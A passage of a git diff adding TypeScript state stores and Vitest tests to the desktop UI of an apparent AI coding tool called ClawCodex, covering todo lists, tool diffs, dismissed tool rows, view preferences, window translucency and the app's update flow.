+  $todosBySession.set({ ...$todosBySession.get(), [sid]: todos })
+
+  if (!todoListActive(todos)) {
+    clearTimers.set(
+      sid,
+      setTimeout(() => {
+        clearTimers.delete(sid)
+        clearSessionTodos(sid)
+      }, FINISHED_LINGER_MS)
+    )
+  }
+}
+
+export function clearSessionTodos(sid: string) {
+  cancelScheduledClear(sid)
+
+  const map = $todosBySession.get()
+
+  if (!(sid in map)) {
+    return
+  }
+
+  const { [sid]: _drop, ...rest } = map
+  $todosBySession.set(rest)
+}
+
+// Drop a still-active todo list (any pending/in_progress item) — used at turn
+// end, when an unfinished list means the turn stopped without a final `todo`
+// update, so the "Tasks N/M" panel would otherwise stay pinned above the
+// composer forever. A finished list is left untouched so its short linger
+// still shows the last checkmark landing.
+export function clearActiveSessionTodos(sid: string) {
+  const todos = $todosBySession.get()[sid]
+
+  if (!todos || !todoListActive(todos)) {
+    return
+  }
+
+  clearSessionTodos(sid)
+}
diff --git a/ui-desktop/src/store/tool-diffs.test.ts b/ui-desktop/src/store/tool-diffs.test.ts
new file mode 100644
index 000000000..c4421159a
--- /dev/null
+++ b/ui-desktop/src/store/tool-diffs.test.ts
@@ -0,0 +1,47 @@
+import { describe, expect, it } from 'vitest'
+
+import { $toolInlineDiff, getToolDiff, recordToolDiff } from './tool-diffs'
+
+describe('tool-diffs per-tool subscriptions', () => {
+  it('returns a stable cached atom per toolCallId', () => {
+    expect($toolInlineDiff('a')).toBe($toolInlineDiff('a'))
+    expect($toolInlineDiff('a')).not.toBe($toolInlineDiff('b'))
+  })
+
+  it('notifies only the tool whose diff changed', () => {
+    const aCalls: string[] = []
+    const bCalls: string[] = []
+    const unsubA = $toolInlineDiff('notify-a').listen(v => aCalls.push(v))
+    const unsubB = $toolInlineDiff('notify-b').listen(v => bCalls.push(v))
+
+    recordToolDiff('notify-a', 'diffA')
+    expect(aCalls).toEqual(['diffA'])
+    expect(bCalls).toEqual([]) // the unrelated tool row is never notified
+
+    recordToolDiff('notify-b', 'diffB')
+    expect(aCalls).toEqual(['diffA']) // still not re-notified
+    expect(bCalls).toEqual(['diffB'])
+
+    unsubA()
+    unsubB()
+  })
+
+  it('does not re-notify when the same diff is recorded again', () => {
+    const calls: string[] = []
+    const unsub = $toolInlineDiff('same').listen(v => calls.push(v))
+
+    recordToolDiff('same', 'x')
+    recordToolDiff('same', 'x')
+
+    expect(calls).toEqual(['x'])
+    unsub()
+  })
+
+  it('reads the current diff for a tool and empty for unknown/blank ids', () => {
+    recordToolDiff('read-me', 'value')
+    expect(getToolDiff('read-me')).toBe('value')
+    expect(getToolDiff('missing')).toBe('')
+    expect(getToolDiff('')).toBe('')
+    expect($toolInlineDiff('').get()).toBe('')
+  })
+})
diff --git a/ui-desktop/src/store/tool-diffs.ts b/ui-desktop/src/store/tool-diffs.ts
new file mode 100644
index 000000000..d4ca7d2ee
--- /dev/null
+++ b/ui-desktop/src/store/tool-diffs.ts
@@ -0,0 +1,38 @@
+import { atom, computed, type ReadableAtom } from 'nanostores'
+
+const $toolDiffs = atom<Record<string, string>>({})
+
+// Per-tool derived atoms, cached by toolCallId. A `ToolEntry` subscribes only
+// to its own id's diff, so recording a diff for one tool re-renders that one
+// row -- not every mounted tool row. computed() only notifies when the derived
+// string actually changes, so unrelated writes to the map are inert here.
+const inlineDiffCache = new Map<string, ReadableAtom<string>>()
+
+export function recordToolDiff(toolCallId: string, diff: string) {
+  if (!toolCallId || !diff) {
+    return
+  }
+
+  const current = $toolDiffs.get()
+
+  if (current[toolCallId] === diff) {
+    return
+  }
+
+  $toolDiffs.set({ ...current, [toolCallId]: diff })
+}
+
+export function getToolDiff(toolCallId: string): string {
+  return toolCallId ? $toolDiffs.get()[toolCallId] || '' : ''
+}
+
+export function $toolInlineDiff(toolCallId: string): ReadableAtom<string> {
+  let cached = inlineDiffCache.get(toolCallId)
+
+  if (!cached) {
+    cached = computed($toolDiffs, diffs => (toolCallId ? diffs[toolCallId] || '' : ''))
+    inlineDiffCache.set(toolCallId, cached)
+  }
+
+  return cached
+}
diff --git a/ui-desktop/src/store/tool-dismiss.ts b/ui-desktop/src/store/tool-dismiss.ts
new file mode 100644
index 000000000..6f6e1be2f
--- /dev/null
+++ b/ui-desktop/src/store/tool-dismiss.ts
@@ -0,0 +1,45 @@
+import { atom, computed, type ReadableAtom } from 'nanostores'
+
+type DismissedToolRows = Record<string, true>
+
+// Tool rows the user has locally hidden via a row's dismiss control. This is a
+// *view-only* hide: the underlying tool call still lives in the stored chat
+// history, but once a turn has settled the user can clear a completed/failed
+// row out of the way so it stops sitting at the tail of the conversation.
+//
+// Kept in module memory (not localStorage, unlike $toolDisclosureStates) on
+// purpose: the thread is virtualized, so a dismissed row's component unmounts
+// and remounts as it scrolls — component-local state would forget the dismissal
+// and the row would pop back. Storing it here survives those remounts for the
+// life of the app session, while a reload restores every row in place rather
+// than permanently rewriting history from a stray click.
+export const $dismissedToolRows = atom<DismissedToolRows>({})
+
+const dismissedCache = new Map<string, ReadableAtom<boolean>>()
+
+export function $toolRowDismissed(id: string): ReadableAtom<boolean> {
+  let cached = dismissedCache.get(id)
+
+  if (!cached) {
+    cached = computed($dismissedToolRows, rows => Boolean(rows[id]))
+    dismissedCache.set(id, cached)
+  }
+
+  return cached
+}
+
+export function dismissToolRow(id: string) {
+  if (!id || $dismissedToolRows.get()[id]) {
+    return
+  }
+
+  $dismissedToolRows.set({ ...$dismissedToolRows.get(), [id]: true })
+}
+
+export function clearDismissedToolRows() {
+  if (Object.keys($dismissedToolRows.get()).length === 0) {
+    return
+  }
+
+  $dismissedToolRows.set({})
+}
diff --git a/ui-desktop/src/store/tool-drafting.ts b/ui-desktop/src/store/tool-drafting.ts
new file mode 100644
index 000000000..eae645142
--- /dev/null
+++ b/ui-desktop/src/store/tool-drafting.ts
@@ -0,0 +1,45 @@
+import { atom, computed } from 'nanostores'
+
+// The tool whose arguments the model is streaming right now, and when it
+// started. Generating a large payload (a 45 KB write_file) takes seconds during
+// which the tool has not begun and the transcript has nothing to say.
+// Per-session because a transcript may be a tile, and a tile must never narrate
+// the primary chat's work.
+const keyFor = (sessionId: string | null | undefined): string => sessionId ?? ''
+
+export interface DraftingTool {
+  name: string
+  since: number
+}
+
+export const $draftingToolSessions = atom<Record<string, DraftingTool>>({})
+
+/** What `sessionId` is drafting, if anything. */
+export function sessionDraftingTool(sessionId: null | string) {
+  return computed($draftingToolSessions, sessions => sessions[keyFor(sessionId)] ?? null)
+}
+
+export function setSessionDraftingTool(sessionId: string | null | undefined, name: string): void {
+  const key = keyFor(sessionId)
+  const sessions = $draftingToolSessions.get()
+
+  if (!name) {
+    if (!(key in sessions)) {
+      return
+    }
+
+    const next = { ...sessions }
+    delete next[key]
+    $draftingToolSessions.set(next)
+
+    return
+  }
+
+  // Re-announcing the same tool keeps the original timestamp, so the elapsed
+  // count reads as one continuous wait rather than restarting.
+  if (sessions[key]?.name === name) {
+    return
+  }
+
+  $draftingToolSessions.set({ ...sessions, [key]: { name, since: Date.now() } })
+}
diff --git a/ui-desktop/src/store/tool-view.ts b/ui-desktop/src/store/tool-view.ts
new file mode 100644
index 000000000..44a08de69
--- /dev/null
+++ b/ui-desktop/src/store/tool-view.ts
@@ -0,0 +1,110 @@
+import { atom, computed, type ReadableAtom } from 'nanostores'
+
+import { persistBoolean, storedBoolean } from '@/lib/storage'
+
+export type ToolViewMode = 'product' | 'technical'
+
+type ToolDisclosureStates = Record<string, boolean>
+
+const TOOL_VIEW_TECHNICAL_STORAGE_KEY = 'clawcodex.desktop.toolView.technical'
+const TOOL_DISCLOSURE_STORAGE_KEY = 'clawcodex.desktop.toolDisclosure.v1'
+const MAX_DISCLOSURE_STATES = 240
+
+export const $toolViewMode = atom<ToolViewMode>(
+  storedBoolean(TOOL_VIEW_TECHNICAL_STORAGE_KEY, false) ? 'technical' : 'product'
+)
+export const $toolDisclosureStates = atom<ToolDisclosureStates>(loadToolDisclosureStates())
+const disclosureOpenCache = new Map<string, ReadableAtom<boolean | undefined>>()
+const anyDisclosureOpenCache = new Map<string, ReadableAtom<boolean>>()
+
+$toolViewMode.subscribe(mode => persistBoolean(TOOL_VIEW_TECHNICAL_STORAGE_KEY, mode === 'technical'))
+$toolDisclosureStates.subscribe(persistToolDisclosureStates)
+
+export function setToolViewMode(mode: ToolViewMode) {
+  $toolViewMode.set(mode)
+}
+
+export function $toolDisclosureOpen(id: string): ReadableAtom<boolean | undefined> {
+  let cached = disclosureOpenCache.get(id)
+
+  if (!cached) {
+    cached = computed($toolDisclosureStates, states => states[id])
+    disclosureOpenCache.set(id, cached)
+  }
+
+  return cached
+}
+
+/**
+ * Whether any of a set of disclosures is open — a run asking about its rows.
+ *
+ * Computed rather than reading the whole map so a toggle anywhere in the
+ * transcript only re-renders the runs whose own answer changed.
+ */
+export function $anyToolDisclosureOpen(ids: readonly string[]): ReadableAtom<boolean> {
+  const key = ids.join('|')
+  let cached = anyDisclosureOpenCache.get(key)
+
+  if (!cached) {
+    cached = computed($toolDisclosureStates, states => ids.some(id => Boolean(states[id])))
+    anyDisclosureOpenCache.set(key, cached)
+  }
+
+  return cached
+}
+
+function loadToolDisclosureStates(): ToolDisclosureStates {
+  if (typeof window === 'undefined') {
+    return {}
+  }
+
+  try {
+    const raw = window.localStorage.getItem(TOOL_DISCLOSURE_STORAGE_KEY)
+
+    if (!raw) {
+      return {}
+    }
+
+    const parsed = JSON.parse(raw) as unknown
+
+    if (!parsed || typeof parsed !== 'object' || Array.isArray(parsed)) {
+      return {}
+    }
+
+    return Object.fromEntries(
+      Object.entries(parsed as Record<string, unknown>)
+        .filter((entry): entry is [string, boolean] => typeof entry[0] === 'string' && typeof entry[1] === 'boolean')
+        .slice(-MAX_DISCLOSURE_STATES)
+    )
+  } catch {
+    return {}
+  }
+}
+
+function persistToolDisclosureStates(states: ToolDisclosureStates) {
+  if (typeof window === 'undefined') {
+    return
+  }
+
+  try {
+    const entries = Object.entries(states).slice(-MAX_DISCLOSURE_STATES)
+
+    window.localStorage.setItem(TOOL_DISCLOSURE_STORAGE_KEY, JSON.stringify(Object.fromEntries(entries)))
+  } catch {
+    // Tool disclosure is a local UI preference; ignore storage failures.
+  }
+}
+
+export function setToolDisclosureOpen(id: string, open: boolean) {
+  if (!id) {
+    return
+  }
+
+  const current = $toolDisclosureStates.get()
+
+  if (current[id] === open) {
+    return
+  }
+
+  $toolDisclosureStates.set({ ...current, [id]: open })
+}
diff --git a/ui-desktop/src/store/translucency.ts b/ui-desktop/src/store/translucency.ts
new file mode 100644
index 000000000..fa6dc3514
--- /dev/null
+++ b/ui-desktop/src/store/translucency.ts
@@ -0,0 +1,38 @@
+/**
+ * Window translucency (see-through window).
+ *
+ * One lever, 0–100. 0 = off (fully opaque, the default). Higher = more of the
+ * desktop shows through the whole window — the main process maps it to the
+ * native window opacity (`setOpacity`), the same effect as the Windows
+ * shift-scroll trick. macOS + Windows only; Linux has no runtime window
+ * opacity, so it's a no-op there.
+ *
+ * The renderer owns the value and mirrors it to the main process over IPC.
+ */
+
+import { atom } from 'nanostores'
+
+import { persistString, storedString } from '@/lib/storage'
+
+const KEY = 'clawcodex.desktop.translucency.v1'
+
+const clamp = (n: number): number => Math.min(100, Math.max(0, Math.round(n)))
+
+const read = (): number => {
+  const n = Number(storedString(KEY))
+
+  return Number.isFinite(n) ? clamp(n) : 0
+}
+
+export const $translucency = atom<number>(typeof window === 'undefined' ? 0 : read())
+
+export function setTranslucency(intensity: number): void {
+  $translucency.set(clamp(intensity))
+}
+
+if (typeof window !== 'undefined') {
+  $translucency.subscribe(intensity => {
+    persistString(KEY, String(intensity))
+    window.clawcodexDesktop?.setTranslucency?.({ intensity })
+  })
+}
diff --git a/ui-desktop/src/store/updates.test.ts b/ui-desktop/src/store/updates.test.ts
new file mode 100644
index 000000000..e5f1264ac
--- /dev/null
+++ b/ui-desktop/src/store/updates.test.ts
@@ -0,0 +1,930 @@
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
+
+import type { DesktopUpdateStatus } from '@/global'
+
+const storage = new Map<string, string>()
+
+vi.mock('@/lib/storage', () => ({
+  persistBoolean: (key: string, value: boolean) => {
+    storage.set(key, String(value))
+  },
+  persistString: (key: string, value: null | string) => {
+    if (value === null) {
+      storage.delete(key)
+    } else {
+      storage.set(key, value)
+    }
+  },
+  storedBoolean: (key: string, fallback: boolean) => {
+    const value = storage.get(key)
+
+    return value === undefined ? fallback : value === 'true'
+  },
+  storedString: (key: string) => storage.get(key) ?? null
+}))
+
+const notifySpy = vi.fn()
+const dismissSpy = vi.fn()
+
+vi.mock('@/store/notifications', () => ({
+  notify: (...args: unknown[]) => notifySpy(...args),
+  dismissNotification: (...args: unknown[]) => dismissSpy(...args)
+}))
+
+const checkClawCodexUpdateSpy = vi.fn()
+const updateClawCodexSpy = vi.fn()
+const getActionStatusSpy = vi.fn()
+
+vi.mock('@/clawcodex', () => ({
+  checkClawCodexUpdate: (...args: unknown[]) => checkClawCodexUpdateSpy(...args),
+  updateClawCodex: (...args: unknown[]) => updateClawCodexSpy(...args),
+  getActionStatus: (...args: unknown[]) => getActionStatusSpy(...args)
+}))
+
+const {
+  maybeNotifyUpdateAvailable,
+  checkBackendUpdates,
+  $backendUpdateStatus,
+  applyBackendUpdate,
+  $backendUpdateApply,
+  reportBackendContract,
+  applyUpdates,
+  $updateApply,
+  $updateOverlayOpen,
+  $updateOverlayTarget,
+  requestActiveUpdate,
+  resetUpdateApplyState,
+  startUpdatePoller,
+  stopUpdatePoller,
+  $updateStatus
+} = await import('./updates')
+
+const { setConnection } = await import('./session')
+
+const status = (over: Partial<DesktopUpdateStatus> = {}): DesktopUpdateStatus => ({
+  supported: true,
+  behind: 3,
+  targetSha: 'sha-a',
+  fetchedAt: 0,
+  ...over
+})
+
+const lastToast = () => notifySpy.mock.calls.at(-1)?.[0] as { onDismiss: () => void }
+
+const setRemote = (on: boolean) =>
+  setConnection({
+    baseUrl: 'http://box:9119',
+    isFullscreen: false,
+    mode: on ? 'remote' : 'local',
+    nativeOverlayWidth: 0,
+    token: 't',
+    wsUrl: 'ws://box:9119',
+    logs: [],
+    windowButtonPosition: null
+  })
+
+describe('maybeNotifyUpdateAvailable', () => {
+  beforeEach(() => {
+    storage.clear()
+    notifySpy.mockClear()
+    vi.useRealTimers()
+  })
+
+  it('shows when an update is available and not snoozed', () => {
+    maybeNotifyUpdateAvailable(status())
+    expect(notifySpy).toHaveBeenCalledTimes(1)
+    expect(notifySpy.mock.calls[0]?.[0]).toMatchObject({ icon: 'gift' })
+  })
+
+  it('stays quiet for new commits once the toast was closed', () => {
+    maybeNotifyUpdateAvailable(status())
+    lastToast().onDismiss() // user closes it → cooldown starts
+    notifySpy.mockClear()
+
+    // A different commit lands while still within the cooldown window.
+    maybeNotifyUpdateAvailable(status({ targetSha: 'sha-b', behind: 9 }))
+    expect(notifySpy).not.toHaveBeenCalled()
+  })
+
+  it('re-shows once the cooldown elapses', () => {
+    vi.useFakeTimers()
+    vi.setSystemTime(0)
+
+    maybeNotifyUpdateAvailable(status())
+    lastToast().onDismiss()
+    notifySpy.mockClear()
+
+    vi.setSystemTime(25 * 60 * 60 * 1000) // > 24h cooldown
+    maybeNotifyUpdateAvailable(status({ targetSha: 'sha-b' }))
+    expect(notifySpy).toHaveBeenCalledTimes(1)
+  })
+
+  it('does nothing when already up to date', () => {
+    maybeNotifyUpdateAvailable(status({ behind: 0 }))
+    expect(notifySpy).not.toHaveBeenCalled()
+  })
+})
+
+describe('reportBackendContract', () => {
+  beforeEach(() => {
+    storage.clear()
+    notifySpy.mockClear()
+    dismissSpy.mockClear()
+    vi.useRealTimers()
+  })
+
+  it('dismisses the toast when the backend meets the contract', () => {
+    reportBackendContract(5)
+    expect(dismissSpy).toHaveBeenCalledWith('backend-contract-skew')
+    expect(notifySpy).not.toHaveBeenCalled()
+  })
+
+  it('warns when the backend is behind (or reports no contract)', () => {
+    reportBackendContract(undefined)
+    expect(notifySpy).toHaveBeenCalledTimes(1)
+    reportBackendContract(1)
+    expect(notifySpy).toHaveBeenCalledTimes(2)
+  })
+
+  it('stays quiet on later session opens once the user closed it', () => {
+    reportBackendContract(1)
+    lastToast().onDismiss() // user closes it → cooldown starts
+    notifySpy.mockClear()
+
+    // Opening another pre-existing session re-runs the check within cooldown.
+    reportBackendContract(1)
+    expect(notifySpy).not.toHaveBeenCalled()
+  })
+
+  it('reminds again after the cooldown elapses', () => {
+    vi.useFakeTimers()
+    vi.setSystemTime(0)
+
+    reportBackendContract(1)
+    lastToast().onDismiss()
+    notifySpy.mockClear()
+
+    vi.setSystemTime(25 * 60 * 60 * 1000) // > 24h cooldown
+    reportBackendContract(1)
+    expect(notifySpy).toHaveBeenCalledTimes(1)
+  })
+
+  it('clears the snooze once the backend catches up, so a regression warns again', () => {
+    reportBackendContract(1)
+    lastToast().onDismiss()
+    notifySpy.mockClear()
+
+    reportBackendContract(5) // backend updated → satisfied, snooze cleared
+    reportBackendContract(4) // a later regression must warn immediately
+    expect(notifySpy).toHaveBeenCalledTimes(1)
+  })
+})
+
+describe('checkBackendUpdates', () => {
+  beforeEach(() => {
+    storage.clear()
+    notifySpy.mockClear()
+    checkClawCodexUpdateSpy.mockReset()
+    $backendUpdateStatus.set(null)
+    vi.useRealTimers()
+  })
+
+  it('maps the backend /update/check onto the backend status, including commits', async () => {
+    setRemote(true)
+    checkClawCodexUpdateSpy.mockResolvedValue({
+      install_method: 'git',
+      current_version: '0.16.0',
+      behind: 2,
+      update_available: true,
+      can_apply: true,
+      update_command: 'clawcodex update',
+      message: null,
+      commits: [{ sha: 'abc1234', summary: 'feat: x', author: 'a', at: 1 }]
+    })
+
+    const result = await checkBackendUpdates()
+
+    expect(checkClawCodexUpdateSpy).toHaveBeenCalled()
+    expect(result?.behind).toBe(2)
+    expect(result?.updateAvailable).toBe(true)
+    expect(result?.commits?.[0]?.sha).toBe('abc1234')
+    expect(result?.supported).toBe(true)
+    expect($backendUpdateStatus.get()?.commits?.[0]?.summary).toBe('feat: x')
+  })
+
+  it('preserves backend update_available when the backend cannot count commits', async () => {
+    setRemote(true)
+    checkClawCodexUpdateSpy.mockResolvedValue({
+      install_method: 'nixos',
+      current_version: '0.16.0',
+      behind: -1,
+      update_available: true,
+      can_apply: false,
+      update_command: 'managed outside dashboard',
+      message: 'Update available.'
+    })
+
+    const result = await checkBackendUpdates()
+
+    expect(result?.behind).toBe(0)
+    expect(result?.updateAvailable).toBe(true)
+    expect(result?.targetSha).toBe('backend:0.16.0')
+  })
+
+  it('honours can_apply=false (docker/nix): not supported, carries message', async () => {
+    setRemote(true)
+    checkClawCodexUpdateSpy.mockResolvedValue({
+      install_method: 'docker',
+      current_version: '0.16.0',
+      behind: null,
+      update_available: false,
+      can_apply: false,
+      update_command: 'docker pull ...',
+      message: 'Docker images are immutable.'
+    })
+
+    const result = await checkBackendUpdates()
+
+    expect(result?.supported).toBe(false)
+    expect(result?.message).toBe('Docker images are immutable.')
+  })
+
+  it('is a no-op in local mode (backend check only runs when remote)', async () => {
+    setRemote(false)
+    await checkBackendUpdates()
+    expect(checkClawCodexUpdateSpy).not.toHaveBeenCalled()
+  })
+})
+
+// The ⌘K "Update ClawCodex" row. It used to call applyBackendUpdate() flat, which
+// in local mode aimed at the backend checkout instead of the client and, with
+// no overlay open, showed nothing at all.
+describe('requestActiveUpdate', () => {
+  const applyClientMock = vi.fn()
+  const checkClientMock = vi.fn()
+
+  beforeEach(() => {
+    storage.clear()
+    notifySpy.mockClear()
+    dismissSpy.mockClear()
+    applyClientMock.mockReset().mockResolvedValue({ ok: true, handedOff: true })
+    checkClientMock.mockReset().mockResolvedValue(status({ behind: 0 }))
+    updateClawCodexSpy.mockReset().mockResolvedValue({ ok: true, name: 'update' })
+    checkClawCodexUpdateSpy.mockReset().mockResolvedValue({
+      install_method: 'git',
+      current_version: '0.4.2',
+      behind: 0,
+      update_available: false,
+      can_apply: true,
+      update_command: null,
+      message: null
+    })
+    getActionStatusSpy.mockReset().mockResolvedValue({ lines: [], running: false, exit_code: 0 })
+    resetUpdateApplyState()
+    $updateStatus.set(null)
+    $backendUpdateStatus.set(null)
+    $updateOverlayOpen.set(false)
+    ;(globalThis as unknown as { window: unknown }).window = {
+      clawcodexDesktop: { updates: { apply: applyClientMock, check: checkClientMock } }
+    }
+    vi.useRealTimers()
+  })
+
+  afterEach(async () => {
+    // Drain any backend apply this suite kicked off: applyBackendUpdate() now
+    // memoizes the in-flight run, so a dangling promise here would be handed
+    // to the next suite's tests instead of a fresh run.
+    await vi.waitFor(() => expect($backendUpdateApply.get().applying).toBe(false), { timeout: 5000 })
+    setRemote(false)
+    delete (globalThis as unknown as { window?: unknown }).window
+  })
+
+  it('applies the CLIENT update in local mode, never the backend', async () => {
+    setRemote(false)
+    $updateStatus.set(status({ behind: 3 }))
+
+    requestActiveUpdate()
+    await vi.waitFor(() => expect(applyClientMock).toHaveBeenCalled())
+
+    expect(updateClawCodexSpy).not.toHaveBeenCalled()
+    expect($updateOverlayTarget.get()).toBe('client')
+  })
+
+  it('applies the BACKEND update in remote mode', async () => {
+    setRemote(true)
+    $backendUpdateStatus.set(status({ behind: 3 }))
+
+    requestActiveUpdate()
+    await vi.waitFor(() => expect(updateClawCodexSpy).toHaveBeenCalled())
+
+    expect(applyClientMock).not.toHaveBeenCalled()
+    expect($updateOverlayTarget.get()).toBe('backend')
+  })
+
+  it('always opens the overlay, so selecting the row is never a silent no-op', () => {
+    setRemote(false)
+    $updateStatus.set(status({ behind: 3 }))
+
+    requestActiveUpdate()
+
+    expect($updateOverlayOpen.get()).toBe(true)
+  })
+
+  it('opens the overlay to re-check instead of applying when already current', () => {
+    setRemote(false)
+    $updateStatus.set(status({ behind: 0, updateAvailable: false }))
+
+    requestActiveUpdate()
+
+    expect($updateOverlayOpen.get()).toBe(true)
+    expect(applyClientMock).not.toHaveBeenCalled()
+    expect(updateClawCodexSpy).not.toHaveBeenCalled()
+  })
+
+  it('applies on a backend that reports an update it cannot count commits for', async () => {
+    setRemote(true)
+    $backendUpdateStatus.set(status({ behind: 0, updateAvailable: true }))
+
+    requestActiveUpdate()
+    await vi.waitFor(() => expect(updateClawCodexSpy).toHaveBeenCalled())
+  })
+})
+
+describe('applyUpdates terminal state', () => {
+  const applyMock = vi.fn()
+
+  beforeEach(() => {
+    storage.clear()
+    notifySpy.mockClear()
+    dismissSpy.mockClear()
+    applyMock.mockReset()
+    resetUpdateApplyState()
+    $updateOverlayOpen.set(true)
+    ;(globalThis as unknown as { window: unknown }).window = {
+      clawcodexDesktop: { updates: { apply: applyMock } }
+    }
+    vi.useRealTimers()
+  })
+
+  afterEach(() => {
+    delete (globalThis as unknown as { window?: unknown }).window
+  })
+
+  it('holds the restart view when a relauncher hands off (no close, no toast)', async () => {
+    applyMock.mockResolvedValue({ ok: true, handedOff: true })
+
+    const result = await applyUpdates()
+
+    expect(result.handedOff).toBe(true)
+    // The detached relauncher will quit + reopen us; keep "applying" until then.
+    expect($updateApply.get().applying).toBe(true)
+    expect($updateOverlayOpen.get()).toBe(true)
+    expect(notifySpy).not.toHaveBeenCalled()
+  })
+
+  it('closes the overlay + toasts when updated but not relaunched in place', async () => {
+    // The Linux AppImage / dev-run path: backend + GUI updated, no in-place
+    // relaunch. Must not strand the overlay on a closeless spinner.
+    applyMock.mockResolvedValue({ ok: true, backendUpdated: true })
+
+    await applyUpdates()
+
+    expect($updateOverlayOpen.get()).toBe(false)
+    expect($updateApply.get().applying).toBe(false)
+    expect($updateApply.get().stage).toBe('idle')
+    expect(notifySpy).toHaveBeenCalledTimes(1)
+    expect(notifySpy.mock.calls[0]?.[0]).toMatchObject({ kind: 'success' })
+  })
+
+  it('lands on a closeable error state when the apply resolves not-ok', async () => {
+    applyMock.mockResolvedValue({ ok: false, error: 'rebuild-failed', message: 'rebuild failed' })
+
+    await applyUpdates()
+
+    expect($updateApply.get().applying).toBe(false)
+    expect($updateApply.get().stage).toBe('error')
+    expect($updateApply.get().error).toBe('rebuild-failed')
+  })
+
+  it('keeps the manual command state for CLI installs with no staged updater', async () => {
+    applyMock.mockResolvedValue({ ok: true, manual: true, command: 'clawcodex update' })
+
+    await applyUpdates()
+
+    expect($updateApply.get().stage).toBe('manual')
+    expect($updateApply.get().command).toBe('clawcodex update')
+    expect($updateOverlayOpen.get()).toBe(true)
+    expect(notifySpy).not.toHaveBeenCalled()
+  })
+
+  it('lands on the guiSkew terminal state for a GUI/backend skew (AppImage/.deb/.rpm), without claiming a GUI update', async () => {
+    // Linux: backend updated, but the running desktop package was NOT replaced.
+    // Must NOT toast "loads next launch" — that's the dishonest message #45205
+    // guards against. Lands on a closeable guiSkew view instead.
+    applyMock.mockResolvedValue({
+      ok: true,
+      backendUpdated: true,
+      guiUpdated: false,
+      guiSkew: true,
+      message: 'Backend updated, but the desktop app package was not changed.'
+    })
+
+    const result = await applyUpdates()
+
+    expect(result.guiUpdated).toBe(false)
+    expect($updateApply.get().stage).toBe('guiSkew')
+    expect($updateApply.get().applying).toBe(false)
+    expect($updateApply.get().message).toMatch(/desktop app package was not changed/)
+    // Overlay stays open on a closeable terminal view; no "all set" toast.
+    expect($updateOverlayOpen.get()).toBe(true)
+    expect(notifySpy).not.toHaveBeenCalled()
+  })
+
+  it('lands on a closeable manual-restart state when the rebuilt sandbox blocks auto-relaunch', async () => {
+    // Under release/*-unpacked but chrome-sandbox isn't launchable: don't quit
+    // into a dead app — keep a working window on a closeable manual state.
+    applyMock.mockResolvedValue({
+      ok: true,
+      backendUpdated: true,
+      guiUpdated: false,
+      manualRestart: true,
+      sandboxBlocked: true,
+      message: 'Backend updated. Quit and reopen ClawCodex to finish.'
+    })
+
+    const result = await applyUpdates()
+
+    expect(result.manualRestart).toBe(true)
+    expect($updateApply.get().stage).toBe('manual')
+    expect($updateApply.get().command).toBeNull()
+    expect($updateApply.get().message).toMatch(/Quit and reopen/)
+    expect($updateOverlayOpen.get()).toBe(true)
+    expect(notifySpy).not.toHaveBeenCalled()
+  })
+})
+
+describe('applyBackendUpdate recovery', () => {
+  beforeEach(() => {
+    storage.clear()
+    checkClawCodexUpdateSpy.mockReset()
+    updateClawCodexSpy.mockReset()
+    getActionStatusSpy.mockReset()
+    $backendUpdateStatus.set(null)
+    $backendUpdateApply.set({
+      applying: false,
+      stage: 'idle',
+      message: '',
+      percent: null,
+      error: null,
+      command: null,
+      log: []
+    })
+    vi.useFakeTimers()
+  })
+
+  afterEach(() => {
+    vi.useRealTimers()
+  })
+
+  it('waits for the backend to return after the restart drops the connection, then clears the overlay', async () => {
+    const actionId = 'd'.repeat(32)
+    updateClawCodexSpy.mockResolvedValue({ action_id: actionId, ok: true, name: 'update', pid: 1 })
+    getActionStatusSpy.mockRejectedValueOnce(new Error('ECONNREFUSED')).mockResolvedValueOnce({
+      exit_code: null,
+      lines: [`=== clawcodex-update completed ${actionId} ===`],
+      name: 'update',
+      pid: null,
+      running: false
+    })
+
+    const promise = applyBackendUpdate()
+    await vi.advanceTimersByTimeAsync(5000)
+    const result = await promise
+
+    expect(result.ok).toBe(true)
+    expect($backendUpdateApply.get().stage).toBe('idle')
+    expect($backendUpdateApply.get().applying).toBe(false)
+  })
+
+  it('surfaces backend update action log lines while the action is running', async () => {
+    const actionId = 'e'.repeat(32)
+    updateClawCodexSpy.mockResolvedValue({ action_id: actionId, ok: true, name: 'update', pid: 1 })
+    getActionStatusSpy
+      .mockResolvedValueOnce({
+        exit_code: null,
+        lines: ['Pulling updates...', 'Installing dependencies...'],
+        name: 'update',
+        pid: 1,
+        running: true
+      })
+      .mockRejectedValueOnce(new Error('ECONNREFUSED'))
+      .mockResolvedValueOnce({
+        exit_code: null,
+        lines: [`=== clawcodex-update completed ${actionId} ===`],
+        name: 'update',
+        pid: null,
+        running: false
+      })
+
+    const promise = applyBackendUpdate()
+    await vi.advanceTimersByTimeAsync(1500)
+
+    expect($backendUpdateApply.get().message).toBe('Installing dependencies...')
+    expect($backendUpdateApply.get().log.map(entry => entry.message)).toEqual([
+      'Pulling updates...',
+      'Installing dependencies...'
+    ])
+
+    await vi.advanceTimersByTimeAsync(5000)
+    await promise
+  })
+
+  it('keeps waiting past the old 45-second cutoff while the update action is running', async () => {
+    const actionId = 'f'.repeat(32)
+    updateClawCodexSpy.mockResolvedValue({ action_id: actionId, ok: true, name: 'clawcodex-update', pid: 1 })
+
+    for (let attempt = 0; attempt < 31; attempt += 1) {
+      getActionStatusSpy.mockResolvedValueOnce({
+        exit_code: null,
+        lines: ['=== clawcodex-update started now ===', `step ${attempt}`],
+        name: 'clawcodex-update',
+        pid: 1,
+        running: true
+      })
+    }
+
+    getActionStatusSpy.mockRejectedValueOnce(new Error('ECONNREFUSED')).mockResolvedValueOnce({
+      exit_code: null,
+      lines: [`=== clawcodex-update completed ${actionId} ===`],
+      name: 'clawcodex-update',
+      pid: null,
+      running: false
+    })
+
+    const promise = applyBackendUpdate()
+    await vi.advanceTimersByTimeAsync(46500)
+
+    expect($backendUpdateApply.get().applying).toBe(true)
+    expect($backendUpdateApply.get().stage).toBe('pull')
+
+    await vi.advanceTimersByTimeAsync(5000)
+    await expect(promise).resolves.toMatchObject({ ok: true })
+  })
+
+  it('treats a successful no-op as complete without waiting for a restart', async () => {
+    updateClawCodexSpy.mockResolvedValue({ ok: true, name: 'clawcodex-update', pid: 1 })
+    getActionStatusSpy.mockResolvedValue({
+      exit_code: 0,
+      lines: ['stale output from another run', '=== clawcodex-update started now ===', '✓ Already up to date!'],
+      name: 'clawcodex-update',
+      pid: 1,
+      running: false
+    })
+
+    const promise = applyBackendUpdate()
+    await vi.advanceTimersByTimeAsync(1500)
